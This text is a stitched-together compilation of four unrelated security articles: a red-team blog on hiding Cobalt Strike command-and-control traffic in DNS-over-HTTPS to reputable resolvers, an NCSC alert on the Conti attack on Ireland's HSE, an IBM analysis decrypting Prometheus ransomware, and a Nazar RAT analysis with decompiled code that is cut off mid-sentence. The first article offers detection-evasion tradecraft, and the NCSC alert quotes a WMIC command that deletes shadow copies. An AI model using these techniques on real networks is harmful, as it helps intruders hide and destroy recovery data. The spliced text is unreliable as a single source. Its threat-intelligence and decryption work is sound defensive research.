# DNS Over HTTPS for Cobalt Strike **17 Nov 2021** **Kyle Avery** ## Introduction Setting up the C2 infrastructure for red team engagements has become more and more of a hassle in recent years. This is a win for the security community because it means that vendors and professionals have learned from previously successful techniques and implemented effective mitigations in their networks. DNS over HTTPS is an underappreciated channel for command and control. This blog will show you how to utilize DoH with Cobalt Strike in a way that requires no third-party accounts or infrastructure setup, encrypts traffic with a valid SSL certificate, and sends traffic to reputable domain names. ## Existing Techniques Attackers and offensive security professionals have been using different redirector implementations for some time. The first redirectors that I used were simple Apache and Nginx servers configured with various rules to forward traffic based on predefined criteria. Redirectors are great for making infrastructure more resilient, but they can also bypass defenses that rely on domain categorization. For example, once Content Delivery Networks (CDN) became more accessible to developers, attackers moved from traditional redirectors to these platforms because they often provide a valid domain name and even SSL certificate to the user, reducing the work of an attacker. A technique known as “domain fronting” was later discovered and used heavily by many testers. More recently, however, CDN providers have been cracking down on this behavior. Many sites prevent domain fronting entirely or actively search for those using it. Microsoft in particular has been known to shut down Azure Subscriptions in the middle of our operations. I have recently turned to other cloud services such as Azure App Services and Cloudflare Workers for traffic redirection. These have the same benefits as traditional CDNs but are less heavily monitored. While these services work well, cloud providers could decide to start watching these with the same dedication as they watch CDNs any day. ## DNS over HTTPS Traditional DNS Beacons are relatively straightforward to detect. I have never used the Cobalt Strike DNS listener on an operation, limiting me to the previously described HTTPS listener and redirectors. DNS over HTTPS for Beacon provides us reputable domains and valid SSL certificates without needing an account or any configuration of the redirector. This reduces an operator’s setup time even further and eliminates the risk of account shutdown. The use of DNS over HTTPS was first presented to me on Twitter by Austin Hudson. His tweets over the last year detailed his progress towards this capability and resulted in an open-source tool: TitanLdr. This Cobalt Strike user defined reflective loader (UDRL) hooks the Cobalt Strike Beacon’s import address table (IAT) to replace the API call responsible for making traditional DNS queries (DNSQuery_A) with a function that makes DoH requests to dns.google (8.8.8.8 and 8.8.4.4). This alone is an excellent capability, but TitanLdr’s DNSQuery_A hook is generic enough to work with many different DoH servers! I have tested the following domains and confirmed that they work as drop-in replacements: - dns.quad9.net - mozilla.cloudflare-dns.com - cloudflare-dns.com - doh.opendns.com - ordns.he.net ## Using TitanLdr TitanLdr is the key to integrating this capability into Cobalt Strike. You can grab the original TitanLdr, which beacons to a single DNS provider over HTTPS server here: [TitanLdr GitHub](https://github.com/secidiot/TitanLdr). You can change the DNS server on line 111 of the DnsQuery_A.c file in the hooks directory. I have since forked TitanLdr to allow for multiple DoH servers to be specified. Each time a callback is made, the Beacon will randomly select one from a hardcoded list. If you want to use multiple DoH servers, you can download my fork here: [TitanLdr Fork GitHub](https://github.com/kyleavery/TitanLdr). You can modify the list of servers at line 116 of the DnsQuery_A.c file in the hooks directory. Once downloaded, you will have to build the program. This will require a Linux host with NASM and MinGW installed. Once you have these programs, run the make command to create the necessary files. ## Building TitanLdr Import the Titan.cna Aggressor script into Cobalt Strike, and you are ready to use DoH! Configure a DNS listener as you usually would. The Cobalt Strike documentation goes more in-depth on configuring this listener. Once the Beacon is running, we can see that only one DNS request is made to resolve the DoH server address. Afterward, all of the traffic is encrypted HTTPS. ## Drawbacks of DNS over HTTPS We’ve already discussed the benefits a DNS over HTTPS Beacon has over a traditional HTTPS Beacon, but there are also some definite drawbacks. First, more packets are needed to communicate the same information back to the team server. A DNS TXT record can only contain a maximum of 255 characters, meaning we can only send a small amount of data in each packet. Second, we have no control over the path or domain names of available servers. It seems easier for an environment or appliance to deny outbound 443/TCP to the list of popular or known DoH servers than block Microsoft’s *.azurewebsites.net or Cloudflare’s *.workers.dev. You could solve this by using more obscure DoH servers or by building your own and categorizing them over time, depending on how the environment is configured. ## Potential Detection Methods Current detection techniques may have gaps when it comes to detecting DNS over HTTPS. Current detections targeting malicious HTTPS traffic typically utilize domain reputation, rendering them potentially ineffective against DoH since the domains in use are reputable. Current detections targeting malicious DNS traffic typically monitor for many DNS requests, rendering them potentially ineffective against DoH since the traffic is no longer using the DNS protocol. A combination of traditional DNS monitoring and SSL inspection could be a potential solution, but I do not know of any current tools or products that do this. My understanding is that the primary defense against this attack is blocking outbound 443/TCP to known DoH servers that an organization is not using. Most networks I encounter still use traditional DNS, often with a local DNS server running as part of the Active Directory environment. In this case, there is no need to allow HTTPS traffic to dns.google, cloudflare-dns.com, or any others mentioned in this post. ## Closing Thoughts There are absolutely more DNS over HTTPS servers that could be used with this configuration. In addition, the user could set up their own DoH server, maybe even behind a CDN or other cloud service, to introduce a variation on this technique. TitanLdr is limited to Cobalt Strike, but the DoH implementation could be ported to any other C2 framework. This method will not be the best in every scenario, but it is another tool in the toolkit that I hope you can take advantage of. Feel free to contact me with any questions or comments on Twitter @kyleavery_. ## Credits The idea to use DNS over HTTPS for C2 comes from the work of Austin Hudson. This technique and blog would not have happened without his TitanLdr project. Austin’s code and tweets have inspired many of my personal projects; I highly recommend following him. I mentioned that I currently use two redirector services for traditional HTTPS Beacons: Azure App Services and Cloudflare Workers. I originally discovered these techniques at the following two links: - [Using CloudFlare Workers as Redirectors](https://ajpc500.github.io/c2/Using-CloudFlare-Workers-as-Redirectors/) - [cs2webconfig GitHub](https://github.com/bashexplode/cs2webconfig) We are self-publishing free Infosec Zines called PROMPT#. PROMPT# will contain: - Infosec articles - Challenging puzzles - Comic book based on real-life hacking adventures - Coloring contests - Bonus Backdoors & Breaches Consultant Cards (print version only) - Other stuffs You can check out current and upcoming issues here: [PROMPT# Zine](https://www.blackhillsinfosec.com/prompt-zine/)
# NCSC Alert: Ransomware Attack on Health Sector - UPDATE **Date:** 2021-05-16 **Status:** TLP-WHITE This document is classified using Traffic Light Protocol. Recipients may share TLP-WHITE information freely, without restriction. Please treat this document in accordance with the TLP assigned. ## Revision History | Revision | Date | Author(s) | Description | |----------|------------|-----------|--------------------------------------------------------------| | 1.0 | 14 May 2021| CSIRT-IE | Initial Alert created regarding Ransomware attack on HSE Network | | 1.1 | 16 May 2021| CSIRT-IE | Update regarding additional information on Analysis, IoCs and Att&ck Matrix TTPs | ## Incident Overview On 14/05/21, the Health Service Executive (HSE) was impacted by a ransomware attack which has affected multiple services on their network. The NCSC, along with the HSE and partners, are currently investigating this incident and an Incident Response process is ongoing. ### Threat Type Malicious cyber activity was also detected on the Department of Health (DoH) network early on Friday morning (14th May 2021). However, due to the deployment of tools during the investigation process, an attempt to execute ransomware was detected and stopped. These attacks are believed to be part of the same campaign targeting the Irish health sector. ### Background - On Thursday afternoon (13/05/21), the NCSC was made aware of potential suspicious activity on the DoH network and immediately launched an investigation in conjunction with the DoH and a third-party security provider to determine the nature and extent of any possible threat. - Preliminary investigations indicated suspected presence of Cobalt Strike Beacon, which is a remote access tool. Cobalt Strike is often used by malicious actors to move laterally within an environment prior to execution of a ransomware payload. - At approximately 07:00 hrs on 14th May, the NCSC was made aware of a significant incident affecting HSE systems. Initial reports indicated a human-operated ‘Conti’ ransomware attack that had severely disabled a number of systems and necessitated the shutdown of the majority of other HSE systems. - Early Friday morning (14th May 2021), malicious cyber activity was also detected on the DoH network. However, due to a combination of anti-virus software and the deployment of tools during the investigation process, an attempt to execute ransomware was detected and stopped. - The HSE took the decision to shut down all of its IT systems as a precaution in order to assess and limit the impact. ### Response - The NCSC has activated its crisis response procedures and is providing support and assistance to the HSE and Dept of Health in responding to and recovering from the incident. - The NCSC is also continuing to monitor other networks to address the risk of further attacks. - The NCSC has circulated appropriate advice to constituent organisations following further analysis of this cyber attack. - The HSE has limited network connectivity to other healthcare providers as a precautionary measure. ### Impact - There are serious impacts to health operations and some non-emergency procedures are being postponed as hospitals implement their business continuity plans. - The national vaccination programme is not affected. ## Containment Measures 1. Isolate Domain Controllers 2. Block egress to the internet 3. Create clean VLANs for rebuild and recovery operations 4. Block malicious IPs and domain names 5. Protect privileged accounts 6. Harden endpoints ## Eradication Steps 1. Wipe, rebuild and update all infected devices. 2. Ensure antivirus is up to date on all systems. 3. Make sure all hardware devices are patched and up to date. 4. Use your offsite backups to restore systems - before restoration take steps to ensure your backups have not been exposed to malware. ## Recovery Steps (The 5 R’s to Recovery) 1. Restore endpoints 2. Re-image devices if required 3. Re-set credentials 4. Re-integrate quarantined systems 5. Restore services Establish monitoring of the network for further suspicious activity, with particular attention placed on activity related to precursor malware that may have pre-empted the ransomware attack (IcedID/BazarLoader/Trickbot etc.). ## Analysis The NCSC has observed a variant of Conti Ransomware and initial analysis has revealed the following: - Cobalt Strike beacons discovered on systems suggest that it was used to move laterally within the environment prior to executing the Conti ransomware payload. - Use of WMIC.exe to delete shadow copies: ``` cmd.exe /c C:\Windows\System32\wbem\WMIC.exe shadowcopy where "ID='{REDACTED}'" delete ``` - Internal network subnets are enumerated and results are saved to files. - Multiple batch files (.bat) used to copy malware to endpoints. - psexec.exe then used to execute malicious payload on endpoints using compromised user credentials. - Conti Ransomware v3 - 32 bit executable discovered. - Creates mutex: `YUIOGHJKCVVBNMFGHJKTYQUWIETASKDHGZBDGSKL237782321344` - The malware will attempt to encrypt all files with the exception of the following file names: - CONTI_LOG.txt - readme.txt - *.FEEDC - *.msi - *.sys - *.lnk - *.dll - *.exe - The malware begins by calling many bogus WinAPIs with invalid arguments to intentionally throw exceptions. These are handled by the malware and act as an anti-emulation/sandbox evasion technique. - Encrypted files are renamed with a .FEEDC extension. ### Indicators of Compromise - Conti SHA256: `d21c71a090cd6759efc1f258b4d087e82c281ce65a9d76f20a24857901e694fc` - Cobalt Strike SHA256: `234e4df3d9304136224f2a6c37cb6b5f6d8336c4e105afce857832015e97f27a` - Cobalt Strike SHA256: `1429190cf3b36dae7e439b4314fe160e435ea42c0f3e6f45f8a0a33e1e12258f` - Cobalt Strike SHA256: `8837868b6279df6a700b3931c31e4542a47f7476f50484bdf907450a8d8e9408` - Cobalt Strike SHA256: `a390038e21cbf92c36987041511dcd8dcfe836ebbabee733349e0b17af9ad4eb` - Cobalt Strike SHA256: `d4a1cd9de04334e989418b75f64fb2cfbacaa5b650197432ca277132677308ce` - Filename: `_EXE.bat` - Filename: `_COPY.bat` - Lazagne SHA256: `5a2e947aace9e081ecd2cfa7bc2e485528238555c7eeb6bcca560576d4750a50` ### MITRE ATT&CK Techniques - EXECUTION - Windows Management Instrumentation [T1047] - EXECUTION - Native API [T1106] - EXECUTION - Shared Modules [T1129] - DEFENSE EVASION - Software Packing [T1027.002] - DEFENSE EVASION - Masquerading [T1036] - DEFENSE EVASION - Hidden Window [T1564.003] - DEFENSE EVASION - Virtualization/Sandbox Evasion: System Checks [T1497.001] - DISCOVERY - System Time Discovery [T1124] - DISCOVERY - File and Directory Discovery [T1083] - DISCOVERY - System Network Connections Discovery [T1049] - DISCOVERY - Process Discovery [T1057] - DISCOVERY - System Network Configuration Discovery [T1016] - DISCOVERY - System Time Discovery [T1082] - DISCOVERY - Network Share Discovery [T1135] - IMPACT - Data Encrypted for Impact [T1486] - IMPACT - Inhibit System Recovery [T1490] --- **DISCLAIMER:** This document is provided “as is” without warranty of any kind, expressed or implied, including, but not limited to, the implied warranty of fitness for a particular purpose. NCSC-IE does not endorse any commercial product or service referenced in this document or otherwise. **National Cyber Security Centre** 29-31 Adelaide Road, Dublin, D02 X285, Ireland Tel: +353 (0)1 6782333 Mail: [email protected] Web: ncsc.gov.ie Twitter: ncsc_gov_ie
# When Ransomware Encryption Goes Wrong IBM Security X-Force researchers have recently reverse-engineered Prometheus ransomware samples as part of ongoing incident response operations. X-Force has found that samples that infected organizational networks featured flawed encryption. This allowed our team to develop a fast-acting decryptor and help customers recover from the attack without a decryption key. While rare, ransomware developers can make mistakes in the ways they implement encryption, causing unintended flaws. This is not the first time X-Force has seen faulty encryption mechanisms save the day for victimized organizations. Mistakes can easily occur when malware developers use patchwork code and dabble in cryptography without appropriate expertise. Most organized cybercrime groups do use properly configured encryption, which is almost always impossible to break. That said, the option to examine possibilities can make a difference for victimized organizations and change the course of negotiation and recovery. ## Thanos Breeds Hakbit, Prometheus, Haron and More Ransomware Trouble In early 2020, a new ransomware family dubbed “Thanos” was discovered on sale in underground forums mostly frequented by cybercriminals. At the time, Thanos was advertised as a “Ransomware Affiliate Program,” available for anyone to buy. The malware saw regular updates and new features added over time. A closer look at its code revealed that it was also used at the baseline in ransomware samples that were tracked as “Hakbit” and used in additional attacks that targeted organizations in Austria, Switzerland, and Germany. Thanos’ developer equipped it with a bootlocker in mid-2020 and was also using a somewhat novel technique of encrypting files known as “RIPlace,” in which they weaponized research into ransomware evasion techniques based on file characteristics. In September 2020, Thanos was detected in attacks on government organizations in MEA. It presented the victims with a black screen that demanded money to unlock files, and while it had a supposed capability to run a destructive attack, that function did not work and left MBR intact. By June 2021, more of Thanos made headlines, only this time as the base code for another ransomware, Prometheus. The latter was used in double-extortion attacks that encrypted files but also stole data and threatened to release it unless a hefty ransom was paid. Prometheus’ operators claimed to be part of the REvil group; they even placed a logo of sorts on their demands for ransom but provided no proof to that effect and may have wanted to use that as a pressure tactic. While the original Thanos is not as active, its code does not rest. In mid-2021 it was detected in further ransomware attacks, this time used by a group going by the name “Haron.” The Thanos code itself was and is being used by multiple threat actors, some of which were suspected to have nation-state sponsored ties. The Prometheus variant has died out in recent months, but other variations can continue to rise from the same Thanos base. What changes through each variation is customization. In Prometheus’ case, its operators used social engineering well, but were not as adept at working with encryption. ## Breaking Prometheus While working on Prometheus samples that encrypted files on infected devices, IBM Security X-Force researchers uncovered a weakness in the key generation algorithm used in the encryption process. Unlike most ransomware cases, this was good news that ended up helping a victimized organization. Our analysis showed that to generate the seed for encryption, the algorithm Prometheus selected uses a hardcoded initialization vector (IV) and the uptime of the computer. This means that the seed value is a lot easier to guess than it should be, since certain parameters about the encrypted file and the infected device can be obtained. Based on such parameters, X-Force wrote a decryptor that ended up working quickly to decrypt file types that had known file headers, for example: pdf, doc, xls, ppt, docx, xlsx, pptx, 7z, mp3, jpg, jpeg, zip, iso, exe, dll, sys, and png. Decrypting the files was made even easier when device boot time was known. Boot times are not a parameter one would have to guess; they can be obtained via the CBS.log file in the Windows directory. Using the decryptor was a great option for the recovery process X-Force supported, but another note is important here. Some open-source decryption tools may emerge over time and might seem like a recovery tool that can help in large-scale cases. One must consider the time it takes a decryptor to unlock each file. Some open-source tools can take around five hours per file, or more, which would be too time-consuming in cases where a lot of data is no longer accessible. A reasonable amount of time to decrypt each file should be a few minutes or less. ## Encryption Methodology and Weaknesses In the Prometheus variants analyzed, there are two ways the ransomware can be configured for encryption: ### Configuration 1 1. A 32-byte string is generated using C#’s Random class. The default constructor is used, which passes Environment.TickCount as the seed. 2. The string is then encrypted using a hard-coded RSA public key. PKCS#1 v1.5 padding is used. The ciphertext is then Base64 encoded. 3. The file is encrypted using a symmetric algorithm (Salsa20) with a hardcoded 8-byte array as the initialization vector (IV). 4. The key is the 32-byte string described above. The ciphertext is written to the encrypted file. 5. The encrypted, Base64 encoded key is then appended to the end of the encrypted file, along with the string ‘GotAllDone’. ### Configuration 2 1. A 32-byte string is generated using C#’s Random class. The default constructor is used, which passes Environment.TickCount as the seed. 2. The string is then encrypted using a hard-coded RSA public key. PKCS#1 v1.5 padding is used. The ciphertext is then Base64 encoded. 3. RFC2898DeriveBytes is used to generate a 32-byte key and an 8-byte IV. The Rfc2898DeriveBytes Class implements password-based key derivation functionality, PBKDF2, by using a pseudo-random number generator. The string generated above is used as the password, and the salt is a hardcoded 8-byte array. 4. The file is encrypted using a symmetric algorithm using the parameters generated above. The ciphertext is written to the encrypted file. 5. The encrypted, Base64 encoded key is then appended to the end of the encrypted file, along with the string ‘GotAllDone’. ### Weaknesses in This Encryption Methodology X-Force found this technique to be lacking in a way that allowed for finding a way to decrypt affected files. C#’s Random class will generate the exact same bytes as long as the seed is known. In this case, the seed is the Environment.TickCount variable, which is the number of milliseconds elapsed since a computer was last started. That seed value can be guessed given certain parameters. Moreover, the Environment.TickCount variable is also updated around every 16 milliseconds, so it is possible for multiple files to have the same key, which can make decryption even faster down the line. The hardcoded IV provided no additional security in this case, considering it can easily be obtained and appears to be the same for every sample analyzed. To make encryption stronger, the IV should typically be random or pseudorandom. ## Decryption Requirements and Issues Can all Prometheus samples be broken in the same way? X-Force’s analysis indicates that any Prometheus sample that uses the C# Random class to generate keys is vulnerable. Of note, they only decrypted files that were encrypted using a Salsa20 stream cipher. Some Prometheus ransomware samples can be configured to use AES-256 and while these samples are still vulnerable, X-Force did not test the decryptor on such in their current work. ### Requirements To decrypt files, we would need the following information: - The hardcoded IV used in the sample. In all samples observed, the IV was an 8-byte array: 1, 2, 3, 4, 5, 6, 7, 8. - Text or bytes to search for from the decrypted file. X-Force used known file header bytes associated with common file extensions. For example, if the encrypted file’s original extension is .pdf, the text to search for in the file to determine success is “%PDF”. ### Optional Data to Use - The configuration of the sample: it’s better to determine which configuration is being used for the encryption. For instance, should RFC2898DeriveBytes be used to obtain the key? - Mtime — the file’s modification time as recorded by the infected device. - The boot time of the infected device. This can be found in the CBS.log file, which is in the Windows directory. This parameter may not have to be exact. Note that Prometheus will not encrypt this file. This file also contains all boot times, meaning it is possible to obtain the boot time even if encryption happened months ago. If the boot time and file modification time are not provided, decryption is still possible but will take significantly longer. ### File Type Limitation Currently, only files with known file headers can be decrypted. For example: pdf, doc, xls, ppt, docx, xlsx, pptx, 7z, mp3, jpg, jpeg, zip, iso, exe, dll, sys, and png. ## Decryption Process Overview The following process is what X-Force used in their current work to decrypt data encrypted by Prometheus. It focuses on the malware’s first configuration. ### Decryption in Configuration 1 Mode 1. Extract the encrypted text from the file intended for decryption. This can be done by removing the junk appended to the end of the file. The amount of junk is equivalent to BASE64_ENCODED_SIZE(RSA_KEY_SIZE) + ‘GotAllDone’.Length. 2. Attempt to estimate the tick count at the time of encryption. The tick count begins at zero on system boot, is incremented every millisecond, but only updated every 10-15 milliseconds. Tick count continuously loops after hitting INT_MAX. 3. Continuously attempt to generate a key and decrypt the ciphertext using the potential seed. 4. Decrement the potential seed if the plaintext is not correct. In most cases, the estimated seed should be within 6000 values of the correct seed. It appears that each file should take around 10 seconds to decrypt, without any optimization considered. Note that during any decryption effort, whether custom-built or provided by ransomware actors, certain conditions can affect the accuracy of time estimates of the decryption. If a file takes longer than desired to unlock, it is likely that any other file from that same device will take a similar amount of time. ### Decrypting Multiple Files From the Same Infected Device If the seed value is found for the first file encrypted, that seed value can be continuously incremented in order to find the values for every other file. This may provide a slightly faster decryption process for computers with hundreds or thousands of files to decrypt. The decryptor tool can be run against an entire directory of files or on a per-file basis. ## A True Digital Pandemic The ransomware problem has turned into a true pandemic for organizations. Every month new attacks are detected, and new malware families and variations arise in the commercial cybercrime arena and through closed groups. Companies are struggling to prevent ransomware infections on the one hand and prepare for incidents on the other. Paying cybercriminals has also turned into a high-stake negotiation where the leverage is almost always on the attacker’s side. Will it ever end? With this crime being so rampant in industrialized countries, governments and law enforcement agencies are becoming increasingly involved in ransomware cases, especially in cases where multiple companies are hit. Stopping attacks is hard because it only takes a small security gap for attackers to find a way in. Response goes a longer way in detecting, containing, and helping organizations recover from ransomware attacks. IBM Security X-Force can help. For a ransomware readiness and response guide, download the Definitive Guide to Ransomware. For any other assistance by IBM’s team of experts, explore their incident response and threat intelligence services. **Aaron Gdanski** IBM Security X-Force Intern Aaron Gdanski is a teaching assistant at the Rochester Institute of Technology. He is an active intern with IBM Security’s X-Force team, working on malware...
# Nazar: Spirits of the Past ## Introduction Those were some of the words that the Equation Group (NSA) operators left in the records documenting their attacks against target systems, and which were later leaked by the Shadow Brokers. The plethora of information exposed in the fifth and last leak by the Shadow Brokers, called “Lost in Translation”, and the following consequences that took shape in WannaCry and NotPetya among other things, makes this a changing point in the game of cyber security as we know it. Recently, security researcher Juan Andres Guerrero-Saade revealed a previously misidentified and unknown threat group, called Nazar, which was part of the last leak by the Shadow Brokers. In this research, we will expand upon the analysis done by Juan and another which was written by Maciej Kotowicz, and will provide an in-depth analysis of each of the Nazar components. But the real question is, do those new revelations add a missing piece to the puzzle, or do they show us how much of the puzzle we are missing? ## Prior Knowledge While the “Lost in Translation” leak by the Shadow Brokers brought infamous exploits such as EternalBlue into the limelight, it contained many more valuable components that showed some of the possible precautions taken by the Equation Group operators before launching an attack. For example, among the leaked files was one called “drv_list.txt“, which included a list of driver names and corresponding remarks that were sent back to the operators if the drivers were found on the target system. Naturally, the list contained many drivers that could detect the presence of an anti-virus product or a security solution (ourselves included). But even more curious were the names of malicious drivers in this list, which if found could indicate that the target system has already been compromised by another attacker, and would then warn the operators to “pull back”. Another pivotal component in the Equation Group’s arsenal that is in charge of such checks is called “Territorial Dispute”, or “TeDi”. Similar to a scan conducted by a security product, “TeDi” consists of 45 signatures that are used to search the target system for registry keys or filenames associated with other threat groups. But we can assume that the end purpose in this case, unlike that of a security scan, is to make sure that Equation Group’s operations are not disrupted and that their own tools are not detected by other adversaries (or “other peeps”, as they are called in “TeDi”) monitoring the same system. Extensive research work has been done by CrySys Labs in 2018 to try and map each of the 45 signatures to the respective threat group it is meant to detect since no names were included in “TeDi” itself. Despite the relatively scarce amount of information it contains, security researchers often revisit “TeDi” in an attempt to get a better understanding of threat groups that the Equation Group had visibility to back then, as some of which are still (to this day) unknown to the public. Security researcher Juan Andres Guerrero-Saade has shown that the 37th signature in “TeDi” which looks for a file called “Godown.dll” points to what might be an Iranian threat group he dubbed “Nazar”, rather than a Chinese one as initially thought in the CrySys Lab report. The beauty of the “TeDi” project is perhaps in its minimalism: the small number of signatures it contained gave the Equation Group the capability of detecting the activity of notorious threat groups that have eluded detection and managed to remain in the shadows for years: Turla, Duqu, Dark Hotel, and the list goes on. This is the result of what we can only estimate as years of intelligence and research work on the Equation Group’s part. Equipped with this knowledge we set out to find more about the mysterious newly discovered player included in this watchlist: Nazar. ## Execution Flow Nazar’s activity is believed to have started somewhere around 2008, meaning that the group was active for at least four years, as the latest samples were created in 2012. The CrySys Labs report pointed to a file possibly related to the 37th signature, which turned out to be an anti-virus signature database from 2015 that detected this unique Nazar artifact, “Godown.dll”. Surprisingly, the same signature contained names of the other artifacts that we have seen being used by the Nazar malware, meaning that some security companies were already fully aware of this malicious activity back then, prior to the “TeDi” leak. The initial binary that is executed in Nazar’s flow is `gpUpdates.exe`. It is a Self-Extracting Archive (SFX) created by a program called “Zip 2 Secure EXE“. Upon execution, `gpUpdates` writes three files to disk: `Data.bin`, `info`, and `Distribute.exe`. Then, `gpUpdates.exe` will start `Distribute.exe` which operates as an installing component. At the start, `Distribute.exe` will read the other two files that were dropped by `gpUpdates`: `info` and `Data.bin`. The `Data.bin` file is a binary blob that contains multiple PE files that are concatenated in a sequence. The `info` file is a very small file that contains a simple struct with the lengths of the PE files in `Data.bin`. `Distribute.exe` will read `Data.bin` as a stream, file by file, in the order of file lengths as shown in `info`. The following table shows the files concatenated in `Data.bin` against the lengths written in `info`. | Data.bin (sequence of files) | info (lengths) | |-------------------------------|----------------| | svchost.exe | 213504 | | Filesystem.dll | 262219 | | ViewScreen.dll | 196608 | | lame_enc.dll | 162304 | | hodll.dll | 57344 | | Godown.dll | 32768 | After the aforementioned files are dropped to the disk, `Distribute.exe` will register 3 of the DLL files to the registry, by using `regsvr32`. ``` ShellExecuteA(0, "open", "regsvr32.exe", "Godown.dll -s", 0, 0); ShellExecuteA(0, "open", "regsvr32.exe", "ViewScreen.dll -s", 0, 0); ShellExecuteA(0, "open", "regsvr32.exe", "Filesystem.dll -s", 0, 0); ``` Afterwards, it uses `CreateServiceA` to add `svchost.exe` as a service named “EYService”, and it will then start the service and exit. This service, as we will explain soon, is the core component in the flow and is responsible for processing the commands sent by the attacker. ### svchost.exe / EYService This service is the main component in the attack, and it orchestrates the entire modules dropped and loaded by Nazar. In a sense, the `EYService` is only a marionette controlled by a puppeteer that sends commands to it. The communication protocol will be thoroughly explained in later parts of this blog post. As commonly seen in RAT-like components, this service mainly contains a list of supported commands, and each of these commands is assigned with a function to handle it upon a request from the attacker. The full list of commands is listed below. As other components in Nazar, this module also does not demonstrate novel techniques or high-quality of written code. In fact, this module, like the others, is mostly based on open-source libraries that were commonly available at the time. To manage traffic and sniff packets, Nazar uses Microolap‘s Packet Sniffer SDK. To record the victim’s microphone it uses “Lame” Mp3 encoding library. For keylogging it uses KeyDLL3. BMGLib is used to take screenshots, and even for shutting down the computer, it uses an open-source project – The ShutDown Alarm. ## Communication When analyzing the networking component, the main thing we looked for was the IP of the command and control, since this could open up new paths, and perhaps recent attacks and samples. Alas, leaving no stone unturned, we could not find such an IP, and it made sense due to how Nazar is communicating. Upon execution of the service, it begins with setting up the packet sniffing. This is done by using the Packet Sniffer SDK, in pretty much a textbook way. The main thread gets an outward-facing network adapter and uses BPF to make sure only UDP packets are forwarded to the handler. ```c DWORD __stdcall main_thread(LPVOID lpThreadParameter) { HANDLE hMgr; // edi HANDLE hCfg; // esi HANDLE hFtr; // edi hMgr = MgrCreate(); MgrInitialize(hMgr); hCfg = MgrGetFirstAdapterCfg(hMgr); do { if (!AdpCfgGetAccessibleState(hCfg)) break; hCfg = MgrGetNextAdapterCfg(hMgr, hCfg); } while (hCfg); ADP_struct = AdpCreate(); AdpSetConfig(ADP_struct, hCfg); if (!AdpOpenAdapter(ADP_struct)) { AdpGetConnectStatus(ADP_struct); MaxPacketSize = AdpCfgGetMaxPacketSize(hCfg); adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0); AdpCfgGetMACAddress(hCfg, &mac_address, 6); hFtr = BpfCreate(); BpfAddCmd(hFtr, BPF_LD_B_ABS, 23u); // Get Protocol field value BpfAddJmp(hFtr, BPF_JMP_JEQ, IPPROTO_UDP, 0, 1); // Protocol == UDP BpfAddCmd(hFtr, BPF_RET, 0xFFFFFFFF); BpfAddCmd(hFtr, BPF_RET, 0); AdpSetUserFilter(ADP_struct, hFtr); AdpSetUserFilterActive(ADP_struct, 1); AdpSetOnPacketRecv(ADP_struct, on_packet_recv_handler, 0); AdpSetMacFilter(ADP_struct, 2); while (1) { if (stop_and_ping == 1) { adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0); connection_method(2); stop_and_ping = 0; } Sleep(1000u); } } return 0; } ``` Whenever a UDP packet arrives, its source IP is recorded to be used in the next response, whether or not there will be a response. Then, the packet’s destination port will be checked, and in case it is 1234 the UDP data will be forwarded to the command dispatcher. ```c int __cdecl commandMethodsWrapper(udp_t *udp_packet, int zero, char *src_ip, int ip_id) { int length; // edi length = HIBYTE(udp_packet->length) - 8; ntohs(udp_packet->src_port); if (ntohs(udp_packet->dst_port) != 1234) return 0; commandDispatcher(&udp_packet[1], src_ip, ip_id, length); return 1; } ``` ### Types of responses Each response will have its packet built from scratch, so it could be sent using PSSDK’s send methods: `AdpAsyncSend/AdpSyncSend`. There are 3 types of responses: - Send an ACK: With destination port 4000 and payload 101;0000 - Send computer information: With destination port 4000 and payload 100;<Computer Name>;<OS name> - Send a file: The content will be sent as UDP data, followed by another packet with `--- <size_of_file>`. The UDP destination port will be the little-endian value of the IP identification field in the request message. For example, if the server sent a packet (to destination port 1234) with identification `0x3456`, the malware will send its response with destination port `0x5634`. To make the options clearer, and to demonstrate how Nazar communicates, we have created a python script that can “play” the server controlled by the attacker, and communicate with the victim. The script is available in Appendix C. ### Supported Commands As we mentioned earlier, `svchost.exe`, or the service named `EYService`, contains a list of supported commands. We analyzed two versions of the RAT and found slight differences. The entire list of supported commands, in addition to our analysis notes, are presented in the table below. | Command ID | Description | |------------|-------------| | 311 | Enable keylogger by loading the ‘hodll.dll’ library to memory and manually importing the ‘installhook’ function. The keystrokes are saved with the window name to ‘report.txt’. The written content is then sent to the server. The keylogger is based on common open-source libraries called “KeyDLL3” (by Anoop Thomas) and “KeyBoard Hooks” (by H. Joseph). Command 312 will disable the keylogger. | | 139 | Shutdown the machine. The command is interacting with the `Godown.dll` component by spawning it based on its RCLSID and RIID. The `Godown` module was probably based on an open-source implementation called The ShutDown Alarm. | | 189 | Start screen capturing. The function calls the benign `ViewScreen.dll` and instructs it to save screenshots in a PNG file named `z.png`. The file is then sent to the server. The module is based on a known open-source project named “BMGLib“, written by M. Scott Heiman. Command 313 will disable the screen capturing. | | 119 | Responsible for recording audio using the victim’s Microphone. The recording is saved to `music.mp3` and sent to the server. The implementation is based on an open-source project which uses a known open source library called “LAME MP3“. Command 315 will disable the voice recording. | | 199 | List all drives in the PC (C:\, D:\, …) and save it to `Drives.txt`. The file is then sent to the server. This functionality exists as-is in `Filesystem.dll` but the newer variant of `svchost.exe` does not use the DLL, even though it is still dropped to the machine. | | 200 | List all the files and folders in the system and saves it to `Files.txt`. The files and folder are separated with `;File;` or `;Folder;`. This functionality exists as-is in `Filesystem.dll` but the newer variant of `svchost.exe` does not use the DLL, even though it is still dropped to the machine. | | 201 | Sends file content to the server. | | 209 | Remove a file from the machine. | | 499 | List program by enumerating the keys found in the following registry path: `Software\Microsoft\Windows\CurrentVersion\Uninstall`. The program names are then saved to a file called `Programs.txt` and sent to the server. | | 599 | List all the devices on the machine and save it to a file named ‘Devices.txt’ which is then sent to the server. The devices are separated with either ‘;Root;’ or ‘;Child;’. | | 999 | Sends `101;0000` back to the server in port `4000`. | | 555 | Sends Computer information: `100;Computer Name; OS Name` back to the server in port `4000`. | | 315 | Disable voice recording. | | 312 | Disable keylogging. | | 313 | Disable screen capturing. | | 666 | Pretty much NOP. Will set a flag that is also set by `119` and `189` and will be unset when sending a file. However, it is never checked. | | 211 | Registers `Godown.dll` using `regsvr32`. This command was included in `svchost.exe` versions from 2010 but was then removed, and the module registration moved to `Distribute.exe`. | | 212 | Registers `ViewScreen.dll` using `regsvr32`. This command was included in `svchost.exe` versions from 2010 but was then removed, and the module registration moved to `Distribute.exe`. | | 213 | Registers `Filesystem.dll` using `regsvr32`. This command was included in `svchost.exe` versions from 2010 but was then removed, and the module registration moved to `Distribute.exe`. | ### Godown.dll `Godown.dll` is 